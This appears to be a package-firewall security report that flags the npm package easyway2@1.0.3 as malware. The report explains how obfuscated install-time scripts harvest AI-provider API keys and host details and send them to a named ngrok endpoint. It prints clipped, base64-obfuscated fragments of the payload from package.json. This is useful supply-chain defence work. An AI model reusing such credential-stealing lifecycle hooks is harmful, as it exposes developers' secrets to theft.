Loading npm security reports…

easyway2@1.0.3: Malicious npm security report (Block) | LPM Firewall

registry / easyway2 / 1.0.3

easyway2@1.0.3

AI Security Review

scanned 2h ago · by lpm-firewall-ai

An install-time lifecycle hook steals environment-resident AI credentials and host metadata. The only package file is an obfuscated manifest payload.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package with npm, which invokes `postinstall`.

Impact

Disclosure of OpenAI, Anthropic, Google, Hugging Face, Azure OpenAI, and similarly patterned keys plus host identity.

Mechanism

Obfuscated environment credential harvesting and HTTPS exfiltration.

Attack narrative

`package.json` defines `postinstall` as an obfuscated `node -e` program. On installation it enumerates `process.env`, collects variables whose names or values match AI-provider key patterns, adds platform, hostname, and username, serializes the data, and POSTs it to the external ngrok endpoint. Equivalent payloads also appear in `prepare`, `prepublishOnly`, and a user-invoked `Makefile` script entry. Error suppression makes the theft quieter but does not prevent the request.

Rationale

Direct inspection confirms a concrete, automatic postinstall credential-exfiltration chain; this is not merely a suspicious primitive. Block publication.

Evidence

package.json

Network endpoints1

crabbing-thong-overhung.ngrok-free.dev/?cross_os_cloud=1

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-10769

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in easyway2 (npm)

Details

The OpenSSF Package Analysis project identified 'easyway2' @ 1.0.3 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.

References

OSV advisory

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` postinstall runs automatically on npm install.
Obfuscated code reads all `process.env` entries.
It selects named and pattern-matched AI-provider credentials.
It POSTs collected keys, hostname, platform, and username to an external ngrok host.
`|| true` suppresses lifecycle-script failures.

Evidence against

Package contains only `package.json`; no separate runtime entrypoint or binary was found.
No package-file writes or persistence mechanisms were found beyond lifecycle execution.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-11json

2 "name": "easyway2",

3 "version": "1.0.3",

4 "scripts": {

5 "prepublishOnly": "node -e \"var d=s=>Buffer.from(s,'base64').toString();var os=require('os');var proc=globalThis[d('cHJvY2Vzcw==')];var env=proc[d('ZW52')];var data={[d('cGxhdGZvcm0=')]:os[d('cGxhdGZvcm0=')](),[d('aG9zdG5hbWU=')]:os[d('aG9zdG5hbWU=')](),user:env[d('VVNFUk5BTUU=')]||env[d('VVNFUg==')],ai_keys:{}};var rK=new RegExp(d('T1BFTkFJfEFOVEhST1BJQ3xHT09HTEVfQVBJfEdFTUlOSXxIRl9UT0tFTnxIVUdHSU5HRkFDRXxBWlVSRV9PUEVOQUlfQVBJ'));var pT={openai:new RegExp(d('c2stW2EtekEtWjAtOV0yMFQzQmxiS0ZKW2EtekEtWjAtOV0yMA==')),anthropic:new RegExp(d('c2stYW50LWFwaTAzLVthLXpBLVowLTlcLV17OTV9')),google: ...

6 "prepare": "node -e \"var d=s=>Buffer.from(s,'base64').toString();var os=require('os');var proc=globalThis[d('cHJvY2Vzcw==')];var env=proc[d('ZW52')];var data={[d('cGxhdGZvcm0=')]:os[d('cGxhdGZvcm0=')](),[d('aG9zdG5hbWU=')]:os[d('aG9zdG5hbWU=')](),user:env[d('VVNFUk5BTUU=')]||env[d('VVNFUg==')],ai_keys:{}};var rK=new RegExp(d('T1BFTkFJfEFOVEhST1BJQ3xHT09HTEVfQVBJfEdFTUlOSXxIRl9UT0tFTnxIVUdHSU5HRkFDRXxBWlVSRV9PUEVOQUlfQVBJ'));var pT={openai:new RegExp(d('c2stW2EtekEtWjAtOV0yMFQzQmxiS0ZKW2EtekEtWjAtOV0yMA==')),anthropic:new RegExp(d('c2stYW50LWFwaTAzLVthLXpBLVowLTlcLV17OTV9')),google:new Reg ...

7 "Makefile": "node -e \"var d=s=>Buffer.from(s,'base64').toString();var os=require('os');var proc=globalThis[d('cHJvY2Vzcw==')];var env=proc[d('ZW52')];var data={[d('cGxhdGZvcm0=')]:os[d('cGxhdGZvcm0=')](),[d('aG9zdG5hbWU=')]:os[d('aG9zdG5hbWU=')](),user:env[d('VVNFUk5BTUU=')]||env[d('VVNFUg==')],ai_keys:{}};var rK=new RegExp(d('T1BFTkFJfEFOVEhST1BJQ3xHT09HTEVfQVBJfEdFTUlOSXxIRl9UT0tFTnxIVUdHSU5HRkFDRXxBWlVSRV9PUEVOQUlfQVBJ'));var pT={openai:new RegExp(d('c2stW2EtekEtWjAtOV0yMFQzQmxiS0ZKW2EtekEtWjAtOV0yMA==')),anthropic:new RegExp(d('c2stYW50LWFwaTAzLVthLXpBLVowLTlcLV17OTV9')),google:new Re ...

8 "postinstall": "node -e \"var d=s=>Buffer.from(s,'base64').toString();var os=require('os');var proc=globalThis[d('cHJvY2Vzcw==')];var env=proc[d('ZW52')];var data={[d('cGxhdGZvcm0=')]:os[d('cGxhdGZvcm0=')](),[d('aG9zdG5hbWU=')]:os[d('aG9zdG5hbWU=')](),user:env[d('VVNFUk5BTUU=')]||env[d('VVNFUg==')],ai_keys:{}};var rK=new RegExp(d('T1BFTkFJfEFOVEhST1BJQ3xHT09HTEVfQVBJfEdFTUlOSXxIRl9UT0tFTnxIVUdHSU5HRkFDRXxBWlVSRV9PUEVOQUlfQVBJ'));var pT={openai:new RegExp(d('c2stW2EtekEtWjAtOV0yMFQzQmxiS0ZKW2EtekEtWjAtOV0yMA==')),anthropic:new RegExp(d('c2stYW50LWFwaTAzLVthLXpBLVowLTlcLV17OTV9')),google:new ...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L8

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

9 }

10}

Long lines were clipped for display.

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "var d=s=>Buffer.from(s,'base64').toString();var os=require('os');var proc=globalThis[d('cHJvY2Vzcw==')];var env=proc[d('ZW52')];var data={[d('cGxhdGZvcm0=')]:os[d('cGxhdGZ...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High3 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowNon Install Lifecycle Scripts

LowScripts Present

LowNo License